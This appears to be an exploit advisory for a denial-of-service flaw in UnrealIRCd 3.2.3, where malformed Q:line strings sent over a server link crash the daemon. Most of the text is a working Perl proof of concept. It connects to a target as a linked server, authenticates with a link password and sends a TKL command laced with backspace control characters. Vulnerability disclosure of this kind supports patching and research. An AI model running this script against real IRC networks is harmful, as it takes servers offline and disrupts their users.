UnrealIRCd3.2.3 Server-Link Denial of Service
-Description-
UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for
adding/removing Q:lines with special characters. Could be sent through services.
Fixed as of version 3.2.4
-PoC-
#!/usr/bin/perl
# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin@xxxxxxxxxxxxxxxxxxxxx (Brandon Milner)
use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneck\n");
#################
# Variables #
#################
$spass = ("LinkPass"); # Link Password
$lserver = ("your.server.name"); # Local Server name
$rserver = ("remote.server.name"); # Link Server
$rport = (6667); # Link Port
$snum = (6); # Server numeric
#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
PeerAddr => $rserver,
PeerPort => $rport,
Proto => 'tcp',
);
#################
# Connect #
#################
die "Couldn't create socket to $rserver / $rport!\n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spass\n");
print ("PASS $spass\n");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneck\n");
print ("SERVER $lserver 1 $snum :PoC by Redneck\n");
sleep 5;
print $sock ("TKL - q\x08Q *\x08PoC\n");
print ("TKL - q\x08Q *\x08PoC\n");
sleep 5;